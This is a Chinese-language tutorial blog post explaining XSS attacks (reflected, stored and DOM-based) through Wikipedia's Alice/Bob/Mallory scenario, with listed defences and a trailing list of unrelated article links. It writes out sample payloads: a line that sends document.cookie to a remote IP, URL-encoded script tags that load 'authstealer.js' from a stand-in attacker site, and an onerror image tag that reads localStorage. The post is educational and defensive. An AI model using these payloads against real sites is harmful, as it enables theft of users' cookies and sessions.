xss 是什么
XSS 原名周树人浙江李大钊,XSS其实不是XSS,是CSS避免和CSS3重名,改名叫XSS(Cross site Scripting)。
准备参考这篇文章重新梳理一下什么是xss,https://juejin.im/post/5bfcc0c75188251b8a26f794
攻击的原理是什么?
想尽一切方法 将一段脚本内容放到目标网站的目标浏览器上解释执行!!
里面浏览器标签的一些特性,让用户无意间执行已经被添加的恶意代码,就能浏览器做一些有攻击性的行为。
XSS 分类
- 反射形 xss
- 存储形 xss
- dom形 xss
反射形,xss:
以nodejs为例,在使用query请求中如果客户端访问的是一段html代码或js脚本,传给服务端,服务端把传参又作为响应的数据
返回给客户端。客户端会执行这段代码,这样还不算是xss,
再修改一下更形象。
如果这个请求是恶意发给中间服务,中间服务做一些修改或保存这段参数,再把它返回给其他的页面请求
这段代码也会在其他页面执行,这样就很可怕。
Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic'
const arr = ['1', '2', '3', '<img src="11" onerror="console.log(window.localStorage)" />'] const t = document.querySelector('#t') arr.forEach(item => { const p = document.createElement('p') p.innerHTML = item t.append(p) // 正常操作是插入的节点会执行onerror });
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
现代浏览器直接回拒绝你用这样的方式操作dom文档,因为受到CSP文档安全策略的限制: https://www.cnblogs.com/the-last/p/11437732.html
反射型也叫非持续性攻击,只是单次操作攻击,维基百科描述了一个这样的故事:
Alice经常访问一个特别的网站,这个网站是Bob的,他允许Alice用用户名密码登录,而且会有一些敏感信息比如交易信息,当用户登录后浏览器会保持认证信息,服务端和客户端都有Alice登录的记录。
有一天,Mallory发现Bob的网站有易遭攻击的风险
Mallory用搜索到这个网站的主页,输入input值并提及,会有一个类似这样的URL:http://bobssite.org/search?q=her%20search%20term
但是在输入一些网站不能响应的书时,他会返回:xxx not found,比如:http://bobssite.org/search?q=puppies,返回 puppies not found
然后 Mallory想到一个坏主意,他将输入换成了HTML字符串,例如:'<script type='application/javascript'>alert('xss');</script>'
这样服务器返回给客户端的时候,会在页面插入这个标签,并执行,客户端会出现一个 弹框,内容是:xss。
然后 Mallory又进一步修改了传参,他把puppies改成了恶意脚本的链接,http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
客户端解析这个返回值,就会创建script标签,请求这个恶意的脚本,你的网站就被攻击了。
Mallory又进一步把链接加密改成了不容易被发现的格式:
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
更近一步,Mallory吧这个链接用e-mail给了Alice,Alice看到是Bob的网站,就点开了只是返回一个puppies not found,也并没有在意,单此时Alice的浏览器上的cookie信息交易信息,Mallory都已经能获取到了,恶意脚本注入成功,开始用真实用户的认证信息,交易信息,做一些一个违法的事情。
那应该如何避免这样的违法的事情发生呢?
- 网站的输入,禁止输入一些敏感的字符,如:link script iframe
- 服务端设置无效访问的重定向
- 服务端查明和验证会话信息是否有效
- 网站只展示输入查询信息的最后几位
- 网站可以要求用户再次输入密码,在修改访问信息之前
- 网站使用 https://www.cnblogs.com/the-last/p/11437732.html 文档安全策略
- 设置 cookie为 http-only,不可被脚本修改。
存储型xss,也叫持久性xss攻击
存储形和反射行攻击的区别是,储存行会把提交的代码存储到服务器端,如文件系统,sql。下次攻击的时候就不需要在提交代码。
再看一个维基百科上的故事
有一天,无聊的Mallory在Bob的网站上也注册了一个账户,Bob的网站可以留言
提交的留言都会展示在评论区,每个人都可以看到
于是,Mallory给Bob的网站加了一句这样的留言,I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
当其他用户比如Alice看到这个评论上有个链接,当他点击这个链接的时候就会发生xss攻击,每个查看评论并点击的人都会遇到xss攻击。
这样的攻击就是一个持久化的xss。
敏感的带有网络请求的标签有这样几种,在输入时进行语法过滤!
<script> <link> <iframe> <img> <style>
原文地址:https://www.cnblogs.com/the-last/p/11611545.html
- zephir-(9)类和对象2
- 深度学习中的动手实践:在CIFAR-10上进行图像分类
- 数据库中间件 MyCAT源码分析 —— XA分布式事务
- [喵咪Golang(1)]Go语言开篇
- phalcon-进阶篇2(拦截器)
- 【死磕Java并发】—–深入分析synchronized的实现原理
- phalcon-进阶篇1(过滤与清理)
- phalcon-入门篇9(view层基础使用)
- PhalApi视频教程
- 【学术】一文搞懂自编码器及其用途(含代码示例)
- PhalApi-Zip--压缩文件处理类
- PhalApi-Xhprof -- Facebook开源的轻量级PHP性能分析工具
- OpenAI发布8个模拟机器人环境以及一种HER实现,以训练实体机器人模型
- PhalApi-APK--APK文件解包处理
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 用x种方式求第n项斐波那契数,99%的人只会第一种
- 面试官:手撕十大排序算法,你会几种?
- 如何在Integer类型的ArrayList中同时添加String、Character、Boolean等类型的数据?
- Java开发岗面试题--基础篇(一)
- leetcode链表之找出倒数第k个节点
- MAC下安装nginx的正确姿势 实践笔记
- 关于 ThreadLocal 你需要知道的几点
- 关于Guava ForwardingMap
- http post Request header is too large 开发环境和线上版本解决方案
- 像java一样使用js contains 数组包含方法 实践笔记
- 服务治理之重试篇
- 一次排查线上接口偶发异常耗时引起的思考!
- 台阶很高,青蛙跳不跳?
- 从零开始认识堆排序
- Redis SDS 深入一点,看到更多!